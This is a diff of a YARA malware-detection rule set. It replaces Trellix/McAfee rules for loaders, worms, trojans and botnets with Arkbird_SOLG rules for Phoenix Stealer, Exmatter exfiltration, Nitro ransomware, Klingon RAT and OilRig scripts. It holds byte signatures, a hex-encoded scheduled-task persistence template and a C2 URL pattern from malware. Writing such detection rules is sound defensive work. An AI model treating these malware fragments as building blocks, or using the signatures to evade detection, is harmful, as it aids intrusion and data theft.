-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "088b4715bbe986deac972d551b88f178d43b191f5a71fbd4db3fb0810a233500"
+		hash2 = "5da2a2ebe9959e6ac21683a8950055309eb34544962c02ed564e0deaf83c9477"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$pdb = "\\Projects\\Rescator\\MmonNew\\Debug\\mmon.pdb"
+		$s1 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8d 54 24 ?? 8b 5c 24 ?? 48 8d 74 24 ?? 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 48 89 5c 24 18 48 89 74 24 20 89 f8 48 89 44 24 28 48 c7 44 24 30 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 38 00 74 ?? 48 8b 54 24 ?? c6 82 e5 00 00 00 00 48 8b 54 24 ?? 31 c0 }
+		$s2 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 89 0c 24 48 89 44 24 08 44 0f 11 7c 24 10 48 c7 44 24 20 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 28 00 74 0a 48 8b 6c 24 ?? 48 83 c4 ?? c3 e8 [3] 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 }
+		$s3 = { 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 89 5c 24 58 48 83 3d [3] 00 00 75 73 48 8b 05 45 [2] 00 48 8d 0d 66 [2] 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 04 01 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 44 24 18 48 85 c0 0f 84 6a 01 00 00 48 3d 04 01 00 00 0f 87 5e 01 00 00 48 8d 1d 1a [2] 00 c6 04 03 5c 4c 8d 40 01 4c 89 05 [3] 00 48 8b 44 24 50 48 8b 5c }
+		$s4 = { 48 89 44 24 40 c7 44 24 3c 00 00 00 00 48 8b 0d [3] 00 48 8d 54 24 3c 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 18 00 75 10 48 8b 44 24 40 8b 4c 24 68 48 8b 5c 24 60 eb 1d 48 8b 44 24 40 48 8b 5c 24 60 8b 4c 24 68 e8 8f 00 00 00 48 8b 6c 24 48 48 83 c4 50 c3 c7 44 24 38 00 00 00 00 48 8b 15 [3] 00 48 8d 74 24 38 48 89 14 24 48 89 44 24 08 48 89 5c 24 10 48 63 c1 48 89 44 24 18 48 89 74 24 20 48 c7 44 24 28 00 00 00 00 e8 }
+		$s5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 43 67 4b 43 41 51 45 41 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and any of them
+		uint16(0)==0x5a4d and filesize >400KB and 4 of them
 }
-rule TRELLIX_ARC_Cyaxsharp_Rezer0 : LOADER
+rule ARKBIRD_SOLG_MAL_Phoenix_Stealer_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Detects CyaX-Sharp/ReZer0 loader samples based on the embedded scheduled task template"
-		author = "Max 'Libra' Kersten for McAfee's Advanced Threat Research Team"
-		id = "7a1addcf-4e8f-5290-8788-9b0738128160"
-		date = "2021-04-08"
-		modified = "2021-08-04"
-		reference = "This rule was published in combination with the following McAfee ATR blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/see-ya-sharp-a-loaders-tale/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MAL_cyax_sharp_loader.yar#L1-L16"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "3d6daaf7a85a9b3898e4ce5d5293b09f26965f9f7280b34ba8f6814b7f14dec2"
+		description = "Detect the Phoenix Stealer"
+		author = "Arkbird_SOLG"
+		id = "8c9df216-cbfe-51f3-a6d7-cfeb99fafbe0"
+		date = "2021-11-01"
+		modified = "2021-11-01"
+		reference = "https://twitter.com/3xp0rtblog/status/1455111070566207493/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Phoenix_Stealer/MAL_Phoenix_Stealer_Jun_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "989c2518a42201559265ce4b974b35df5c4b8365e53f789fc124ee969e747c87"
 		score = 75
-		quality = 70
-		tags = "LOADER"
-		version = "1.0"
-		malware_type = "loader"
+		quality = 75
+		tags = "FILE"
+		hash1 = "5bbfeee67b9b087ed228eccdacd4a7e71d40f7f96ad869903e02d9c3b02adbe5"
+		hash2 = "34f78f4028c51f6340c1f4846b65252fa6686ba0a5ab8ebc35c737a8960ba43e"
+		hash3 = "e51de8c43034fafaa49f81e9cc955c0cf60dc9684f28d8c355baf0724710de1f"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$template = { 01A10C3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3136223F3E0D0A3C5461736B2076657273696F6E3D22312E322220786D6C6E733D22687474703A2F2F736368656D61732E6D6963726F736F66742E636F6D2F77696E646F77732F323030342F30322F6D69742F7461736B223E0D0A20203C526567697374726174696F6E496E666F3E0D0A202020203C446174653E323031342D31302D32355431343A32373A34342E383932393032373C2F446174653E0D0A202020203C417574686F723E5B5553455249445D3C2F417574686F723E0D0A20203C2F526567697374726174696F6E496E666F3E0D0A20203C54726967676572733E0D0A202020203C4C6F676F6E547269676765723E0D0A2020202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A202020203C2F4C6F676F6E547269676765723E0D0A202020203C526567697374726174696F6E547269676765723E0D0A2020202020203C456E61626C65643E66616C73653C2F456E61626C65643E0D0A202020203C2F526567697374726174696F6E547269676765723E0D0A20203C2F54726967676572733E0D0A20203C5072696E636970616C733E0D0A202020203C5072696E636970616C2069643D22417574686F72223E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A2020202020203C4C6F676F6E547970653E496E746572616374697665546F6B656E3C2F4C6F676F6E547970653E0D0A2020202020203C52756E4C6576656C3E4C6561737450726976696C6567653C2F52756E4C6576656C3E0D0A202020203C2F5072696E636970616C3E0D0A20203C2F5072696E636970616C733E0D0A20203C53657474696E67733E0D0A202020203C4D756C7469706C65496E7374616E636573506F6C6963793E53746F704578697374696E673C2F4D756C7469706C65496E7374616E636573506F6C6963793E0D0A202020203C446973616C6C6F77537461727449664F6E4261747465726965733E66616C73653C2F446973616C6C6F77537461727449664F6E4261747465726965733E0D0A202020203C53746F704966476F696E674F6E4261747465726965733E747275653C2F53746F704966476F696E674F6E4261747465726965733E0D0A202020203C416C6C6F77486172645465726D696E6174653E66616C73653C2F416C6C6F77486172645465726D696E6174653E0D0A202020203C53746172745768656E417661696C61626C653E747275653C2F53746172745768656E417661696C61626C653E0D0A202020203C52756E4F6E6C7949664E6574776F726B417661696C61626C653E66616C73653C2F52756E4F6E6C7949664E6574776F726B417661696C61626C653E0D0A202020203C49646C6553657474696E67733E0D0A2020202020203C53746F704F6E49646C65456E643E747275653C2F53746F704F6E49646C65456E643E0D0A2020202020203C526573746172744F6E49646C653E66616C73653C2F526573746172744F6E49646C653E0D0A202020203C2F49646C6553657474696E67733E0D0A202020203C416C6C6F7753746172744F6E44656D616E643E747275653C2F416C6C6F7753746172744F6E44656D616E643E0D0A202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A202020203C48696464656E3E66616C73653C2F48696464656E3E0D0A202020203C52756E4F6E6C79496649646C653E66616C73653C2F52756E4F6E6C79496649646C653E0D0A202020203C57616B65546F52756E3E66616C73653C2F57616B65546F52756E3E0D0A202020203C457865637574696F6E54696D654C696D69743E505430533C2F457865637574696F6E54696D654C696D69743E0D0A202020203C5072696F726974793E373C2F5072696F726974793E0D0A20203C2F53657474696E67733E0D0A20203C416374696F6E7320436F6E746578743D22417574686F72223E0D0A202020203C457865633E0D0A2020202020203C436F6D6D616E643E5B4C4F434154494F4E5D3C2F436F6D6D616E643E0D0A202020203C2F457865633E0D0A20203C2F416374696F6E733E0D0A3C2F5461736B3E }
+		$s1 = { 6a 16 58 0f be c8 88 85 b0 fe ff ff c7 85 d8 fe ff ff 42 73 7a 73 c7 85 dc fe ff ff 71 64 77 7b c7 85 e0 fe ff ff 38 73 6e 73 c6 85 e4 fe ff ff 00 e8 aa 73 ff ff 89 85 94 }
+		$s2 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s" ascii
+		$s3 = { b8 c9 11 47 00 e8 c3 c5 01 00 68 f8 d7 47 00 33 db 53 53 ff 15 cc 20 47 00 53 50 89 85 d0 fc ff ff ff 15 d0 20 47 00 85 c0 0f 85 92 02 00 00 6a 01 ff 15 8c 22 47 00 84 c0 79 f4 53 e8 e2 aa 00 00 50 e8 1e 98 00 00 8b 35 84 22 47 00 8d 85 ec fe ff ff 59 59 50 53 53 6a 1c 53 ff d6 8d 8d ec fe ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 ec fe ff ff 51 50 b9 f0 5b 48 00 e8 bf 0e 00 00 8d 85 e8 fd ff ff 50 68 04 01 00 00 ff 15 40 20 47 00 8d 8d e8 fd ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e8 fd ff ff 51 50 b9 08 5c 48 00 e8 89 0e 00 00 8d 85 e4 fc ff ff 50 53 53 6a 1a 53 ff d6 8d 8d e4 fc ff ff 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 85 e4 fc ff ff 51 50 b9 90 5b 48 00 e8 57 0e 00 00 8b fb 89 9d dc fc ff ff 8b f3 89 bd d4 fc ff ff 89 b5 d8 fc ff ff 83 65 fc 00 33 c9 6a 16 5a 41 e8 71 05 ff ff 8b cf 89 85 e0 fc }
+		$s4 = { 6a 01 ff 15 98 22 47 00 85 c0 74 5d 6a 00 ff 15 a0 22 47 00 85 c0 74 51 56 6a 01 ff 15 94 22 47 00 8b f0 85 f6 74 3b 56 ff 15 38 21 47 00 8b d0 85 d2 74 27 8b ca 57 8d 79 01 8a 01 41 84 c0 75 f9 2b cf 6a 03 51 8b 0d 6c 72 48 00 52 ba 58 d7 47 00 e8 95 1b fe ff 83 c4 0c 5f 56 ff 15 64 21 47 00 }
+		$s5 = { 81 ec 14 02 00 00 a1 0c 50 48 00 33 c5 89 45 fc 53 56 8b d9 be 19 27 00 00 57 8b 7d 0c 83 fb ff 75 0c e8 bb eb ff ff 89 37 89 47 04 eb 17 ff 75 08 52 53 ff 15 bc 22 47 00 85 c0 8b cf 0f 95 c2 e8 b8 fe ff ff e8 98 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 75 08 81 3f 34 27 00 00 74 20 e8 80 eb ff ff 8b 4f 04 8b 49 04 3b 48 04 0f 85 b9 00 00 00 81 3f 33 27 00 00 0f 85 ad 00 00 00 83 fb ff 75 0c e8 5b eb ff ff 89 37 e9 99 00 00 00 33 c0 89 9d f8 fd ff ff 40 89 9d fc fe ff ff 89 85 f4 fd ff ff 89 85 f8 fe ff ff 8d 85 f8 fe ff ff 6a 00 50 8d 85 f4 fd ff ff 50 6a 00 8d 43 01 50 ff 15 d8 22 47 00 8b f0 8b cf 85 f6 0f 98 c2 e8 2a fe ff ff 85 f6 78 53 83 a5 f0 fd ff ff 00 8d 85 ec fd ff ff 50 8d 85 f0 fd ff ff c7 85 ec fd ff ff 04 00 00 00 50 68 07 10 00 00 68 ff ff 00 00 53 ff 15 b0 22 47 00 8b f0 8b cf 85 f6 0f 95 c2 e8 e8 fd ff }
 
 	condition:
-		$template
+		uint16(0)==0x5a4d and filesize >80KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_Malw_Inabot_Worm : WORM FILE
+rule ARKBIRD_SOLG_EXF_Exmatter_Nov_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect inabot worm based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b899d2d6-000a-5363-9efe-527dcd0cea17"
-		date = "2013-04-19"
-		modified = "2020-08-14"
-		reference = "http://verwijderspyware.blogspot.com/2013/04/elimineren-w32inabot-worm-hoe-te.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_inabot_worm_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "c9c010228254aae222e31c669dda639cdd30695729b8ef2b6ece06d899a496aa"
-		logic_hash = "70485de4e071b684faa87484ce2a53a8b2a29d0a2954e785b858c7ff1d908de0"
-		score = 75
-		quality = 70
-		tags = "WORM, FILE"
-		rule_version = "v1"
-		malware_type = "worm"
-		malware_family = "Worm:W32/Inabot"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect packed Exmatter with Confuser"
+		author = "Arkbird_SOLG"
+		id = "ddae7776-3202-50e6-b8af-0e5d15373386"
+		date = "2021-11-01"
+		modified = "2021-11-01"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Exmatter/EXF_Exmatter_Nov_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "67aaac3db488a9e28897047a7498b7a447ec63cdb6da82cb3d4217c7d615f176"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "b6bc126526e27c98a94aab16989864161db1b3a75f18bd5c72bacbdfccad7bd7"
+		hash2 = "8eded48c166f50be5ac33be4b010b09f911ffc155a3ab76821e4febd369d17ef"
+		hash3 = "325ecd90ce19dd8d184ffe7dfb01b0dd02a77e9eabcb587f3738bcfbd3f832a1"
+		level = "Experimental"
+		tlp = "white"
+		adversary = "RaaS"
 
 	strings:
-		$pdb = "\\trasser\\portland.pdb"
-		$pdb1 = "\\mainstream\\archive.pdb"
+		$s1 = { 45 38 42 44 32 35 45 33 46 35 33 34 39 39 41 43 31 39 42 44 42 34 31 45 37 36 45 38 36 38 39 37 38 39 31 31 42 43 35 41 44 46 37 36 34 33 31 38 33 45 34 38 36 33 38 32 42 44 33 42 42 44 30 30 00 35 41 41 34 30 37 35 37 33 42 34 43 36 45 43 43 41 45 35 36 44 30 46 35 43 34 33 35 34 36 32 33 39 38 43 30 41 46 42 35 33 46 36 44 36 32 33 31 44 38 39 34 44 34 44 31 41 37 46 44 36 45 30 30 00 42 33 39 46 43 34 39 41 36 31 35 36 45 37 31 35 45 38 42 39 37 41 35 30 46 44 34 35 46 45 34 36 38 37 30 37 38 44 42 44 31 45 45 43 46 46 44 39 46 38 35 31 34 30 42 35 33 31 36 45 39 32 31 30 00 44 33 30 39 45 32 43 32 30 31 43 37 35 43 43 30 38 43 35 33 36 42 41 34 30 32 31 45 41 35 37 43 45 42 34 44 30 34 34 39 32 36 30 31 36 46 46 39 39 46 45 44 45 36 31 35 34 36 31 30 41 32 31 30 00 36 43 37 35 38 36 33 43 32 46 39 38 44 37 46 41 45 33 36 45 37 44 46 43 45 38 46 31 39 45 43 39 35 41 46 30 30 43 43 42 33 44 43 39 39 39 31 38 46 42 38 43 30 42 35 38 39 42 30 42 34 35 31 30 }
+		$s2 = { 33 44 33 32 31 41 45 42 34 33 39 35 36 30 34 38 46 35 43 37 35 41 38 42 38 36 36 35 32 34 33 34 44 31 33 31 30 31 31 32 45 37 44 36 42 37 38 46 42 37 35 44 39 33 35 36 31 44 31 31 30 39 38 31 00 34 39 44 38 32 36 38 33 30 42 35 44 39 32 30 34 34 38 46 37 34 42 42 42 45 44 42 33 36 31 46 31 37 43 39 44 44 34 36 31 45 30 44 43 33 44 45 44 31 31 34 45 36 45 31 33 45 30 31 37 33 39 38 31 00 31 45 42 30 38 30 36 38 33 30 39 37 41 32 37 46 42 37 34 33 46 36 32 44 30 38 33 38 44 34 42 41 36 34 33 35 46 44 43 33 38 38 32 41 36 41 36 37 45 46 42 43 32 32 34 45 37 31 42 44 42 43 38 31 00 46 39 45 39 31 44 44 39 44 32 36 32 38 43 43 32 39 32 42 41 43 32 36 35 39 41 35 35 34 34 42 38 42 46 42 30 41 44 31 46 38 31 30 30 43 37 35 45 38 32 44 44 33 42 32 43 45 44 30 35 43 37 39 31 00 45 44 44 31 45 32 34 31 37 36 33 46 34 33 33 35 30 38 37 42 39 38 41 44 30 37 35 38 44 36 39 33 31 39 32 42 37 37 45 44 37 32 41 39 36 43 38 42 33 35 41 45 31 39 34 41 45 38 45 39 31 41 39 31 00 38 43 46 31 34 42 43 33 42 46 39 44 36 31 30 30 43 41 38 41 }
+		$s3 = "SSH_MSG_NEWKEYS" ascii
+		$s4 = { 35 45 46 32 31 35 39 31 38 33 32 30 41 44 38 41 46 41 41 30 32 35 33 35 35 34 36 46 34 34 33 43 38 44 30 39 46 30 41 44 35 31 33 37 45 35 32 30 33 34 32 38 38 43 37 36 39 41 43 36 42 41 44 46 00 44 36 32 45 45 38 34 39 37 41 45 34 39 35 41 33 31 31 34 35 41 37 37 41 35 43 39 44 35 35 37 30 34 43 30 38 38 33 42 30 31 35 46 45 31 41 45 39 46 44 46 46 45 32 30 38 46 31 33 46 41 45 44 46 00 31 35 32 30 33 33 46 38 33 46 37 46 41 36 36 34 35 31 39 33 42 33 32 32 43 43 42 31 36 37 32 46 30 38 39 35 36 42 36 38 43 33 38 44 31 33 32 46 32 32 37 38 46 43 46 30 46 41 30 34 44 46 45 46 00 33 41 33 36 41 46 34 41 46 30 41 31 46 45 35 37 39 35 44 42 39 39 46 41 38 44 33 39 34 46 41 32 44 38 39 30 41 32 32 35 32 38 30 41 38 41 31 35 39 41 43 37 39 46 31 45 34 38 45 45 31 38 46 46 00 44 43 37 42 45 38 33 42 33 45 46 46 38 31 45 38 43 39 45 30 36 46 37 44 37 43 31 46 34 42 44 37 33 34 46 32 30 32 30 41 34 32 34 32 39 45 32 32 41 32 36 31 42 30 45 45 45 31 36 44 31 39 46 46 }
+		$s5 = { 39 38 41 43 30 38 30 44 38 38 37 45 31 34 43 43 39 32 32 44 34 35 37 43 33 42 31 30 35 35 37 31 45 33 36 41 37 35 43 43 39 31 31 42 33 35 46 36 30 43 32 46 35 30 36 44 44 44 45 43 35 43 41 46 00 31 33 46 33 37 31 33 43 30 38 42 33 30 43 45 34 37 36 35 37 33 45 43 31 38 32 39 30 31 32 35 30 45 39 36 42 34 37 37 35 33 31 39 46 34 36 41 38 41 30 30 41 34 46 31 45 42 38 41 43 35 32 42 46 00 43 39 38 39 33 42 41 33 46 43 31 46 41 39 41 37 43 38 37 33 42 32 37 38 37 41 41 41 44 38 38 39 45 33 38 46 30 43 33 39 36 39 45 37 41 32 37 42 30 44 33 37 45 30 41 }
+		$s6 = "SSH_MSG_KEX_DH_GEX_INIT" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <180KB and any of them
+		uint16(0)==0x5a4d and filesize >600KB and 5 of them
 }
-rule TRELLIX_ARC_Malw_Mangzamel_Trojan : TROJAN FILE
+rule ARKBIRD_SOLG_RAN_Nitro_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Mangzamel  trojan based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "ca77180f-6133-5edb-a36b-78bc6f18d80c"
-		date = "2014-06-25"
-		modified = "2020-08-14"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_mangzamel_trojan_pdb.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "4324580ea162a636b7db1efb3a3ba38ce772b7168b4eb3a149df880a47bd72b7"
-		logic_hash = "bab103c671445e0ea916fae290689d30d45021bdca58a495ebd3d6ca9ca55051"
+		description = "Detect Nitro ransomware"
+		author = "Arkbird_SOLG"
+		id = "256059b2-1683-5108-8fc8-3cf0b2e7b613"
+		date = "2021-08-12"
+		modified = "2021-08-13"
+		reference = "https://bazaar.abuse.ch/browse/tag/NitroRansomware/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-13/Nitro/RAN_Nitro_Aug_2021_1.yara#L1-L23"
+		license_url = "N/A"
+		logic_hash = "c31267cd9bc6c63db8e32b2a0e7518b0432d62f1de52117b9e903fc3370a1f4d"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Mangzamel"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "1194aebc9a0016084f6966b07a171e4c62ce1b21580d177a876873641692ee13"
+		hash2 = "6546f0638160cb590b4ead2401fb55d48e10b2ee1808ff0354fff52c9e2f62bf"
+		hash3 = "89dbea1e4b387325f21c784dc72fcf52599f69e1ded27d1b830ff57ae4831559"
+		hash4 = "d8e9561612c6e06160d79abde41c7b66e4921a1c041ad5c2658d43050b4fd2d0"
+		hash5 = "dbed3399932fabe6f7f863403279ac9a6b075aa307dd445df2c7060157d3063b"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$pdb = "\\svn\\sys\\binary\\i386\\agony.pdb"
-		$pdb1 = "\\Windows\\i386\\ndisdrv.pdb"
+		$s1 = { 1f 1a 28 ?? 00 00 0a [0-2] 72 ?? 14 00 70 28 15 00 00 0a 80 32 00 00 04 28 ?? 00 00 06 7e 32 00 00 04 6f ?? 00 00 0a [0-1] 7e 2f 00 00 04 16 7e 32 00 00 04 7e 30 00 00 04 7e 31 00 00 04 60 28 ?? 00 00 06 26 2a }
+		$s2 = { 02 [0-5] 72 df 00 00 70 28 1b 00 00 }
+		$s3 = { 1f 1a 28 ?? 00 00 0a 0a 1f 1c 28 ?? 00 00 0a 0b 7e 21 00 00 04 06 72 ?? 0c 00 70 28 15 00 00 0a 6f 16 00 00 0a [2] ?? 00 }
+		$s4 = { 7e 4e 00 00 0a 0a [0-1] 72 [2] 00 70 73 ?? 00 00 06 0b [0-1] 07 72 [2] 00 70 6f ?? 00 00 06 [1-3] 8d 7f 00 00 01 25 16 1f 0a 9d 6f ?? 00 00 0a 1c 9a 0a [0-1] de ?? 07 2c ?? 07 6f 42 00 00 0a }
+		$s5 = { 7e 4e 00 00 0a 0a [0-1] 73 ?? 00 00 0a 0b [0-1] 07 72 ?? 14 00 70 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 0a }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <360KB and any of them
+		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
 }
-rule TRELLIX_ARC_Malw_Cutwail_Pdb : BOTNET FILE
+rule ARKBIRD_SOLG_MAL_Klingon_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect cutwail based on the PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "62058ff9-acb5-5f71-b6bb-4c64e51442ba"
-		date = "2008-04-16"
-		modified = "2020-08-14"
-		reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/CUTWAIL"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_cutwail.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "d702f823eefb50d9ea5b336c638f65a40c2342f8eb88278da60aa8a498c75010"
-		logic_hash = "f53626e6085509ddf9268b69e54a138e64cd5d3fbad119e6e9473179decd7927"
+		description = "Detect the Klingon RAT"
+		author = "Arkbird_SOLG"
+		id = "bf114c4d-3010-5b34-954e-82794e30edcb"
+		date = "2021-06-19"
+		modified = "2021-06-21"
+		reference = "https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-20/Klingon/MAL_Klingon_Jun_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "283452d24edea988dc353fada4cd1e050db244a48cc6ab30f70e1900ca9c7c2f"
 		score = 75
-		quality = 70
-		tags = "BOTNET, FILE"
-		rule_version = "v1"
-		malware_type = "botnet"
-		malware_family = "Botnet:W32/Cutwail"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "44237e2de44a533751c0baace09cf83293572ae7c51cb4575e7267be289c6611"
+		hash2 = "c98bb0649262277ec9dd16cf27f8b06042ff552535995f2bdd3355d2adeff801"
+		hash3 = "e8eea442e148c81f116de31b4fc3d0aa725c5dbbbd840b446a3fb9793d0b9f26"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$pdb = "\\0bulknet\\FLASH\\Release\\flashldr.pdb"
+		$seq1 = { 81 3a 70 72 6f 78 0f 85 [2] 00 00 80 7a 04 79 0f 84 [2] 00 00 48 83 f9 05 75 12 81 3a 73 68 65 6c 75 0a 80 7a 04 6c 0f 84 [2] 00 00 48 83 f9 06 75 14 81 3a 62 69 6e 61 75 0c 66 81 7a 04 72 79 0f 84 [2] 00 00 48 83 f9 03 0f 85 ?? 04 00 00 66 81 3a 63 6d 0f 85 [2] 00 00 80 7a 02 64 0f 84 [2] 00 00 48 83 f9 06 }
+		$seq2 = { 48 8d 05 [3] 00 48 89 ?? 24 [1-4] 48 c7 84 24 ?? 00 00 00 ?? 00 00 00 48 8d 0d [3] 00 48 89 ?? 24 [0-4] 48 c7 ?? 24 }
+		$seq3 = { 48 8d 0d [3] 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 89 84 24 ?? 00 00 00 48 8d 05 [3] 00 48 89 04 24 48 c7 44 24 08 08 00 00 00 48 8d 84 24 ?? 00 00 00 48 89 44 24 10 48 c7 44 24 18 03 00 00 00 48 c7 44 24 20 03 00 00 00 e8 [3] ff 48 8b 44 24 30 48 89 44 24 58 48 8b 4c 24 28 48 89 8c 24 ?? 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <440KB and any of them
+		uint16(0)==0x5a4d and filesize >300KB and all of ($seq*)
 }
-rule TRELLIX_ARC_Nionspy : FILEINFECTOR FILE
+rule ARKBIRD_SOLG_APT_Oilrig_VBS_2016_1 : FILE
 {
 	meta:
-		description = "Triggers on old and new variants of W32/NionSpy file infector"
-		author = "Trellix ARC Team"
-		id = "86051ef8-a18b-553c-b06c-490f8d6df5cf"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://blogs.mcafee.com/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_NionSpy.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "982ba52f39352aee9e2d2dcadfb0816c439e92d0e5947afa7860630720913742"
+		description = "Detect VBS script in base 64 used by OilRig (2016)"
+		author = "Arkbird_SOLG"
+		id = "5cc3a3f1-4f2f-56c4-af69-8652d22b6730"
+		date = "2020-08-26"
+		modified = "2021-07-13"
+		reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L4-L23"
+		license_url = "N/A"
+		logic_hash = "a6c42c46c80ca79b01aa0475c823aeccef416a0f8c2f58db95392cbe125b2fad"
 		score = 75
-		quality = 70
-		tags = "FILEINFECTOR, FILE"
-		malware_type = "fileinfector"
-		malware_family = "FileInfector:W32/NionSpy"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 63
+		tags = "FILE"
+		hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c"
+		hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5"
 
 	strings:
-		$variant2015_infmarker = "aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT"
-		$variant2013_infmarker = "ad6af8bd5835d19cc7fdc4c62fdf02a1"
-		$variant2013_string = "%s?cstorage=shell&comp=%s"
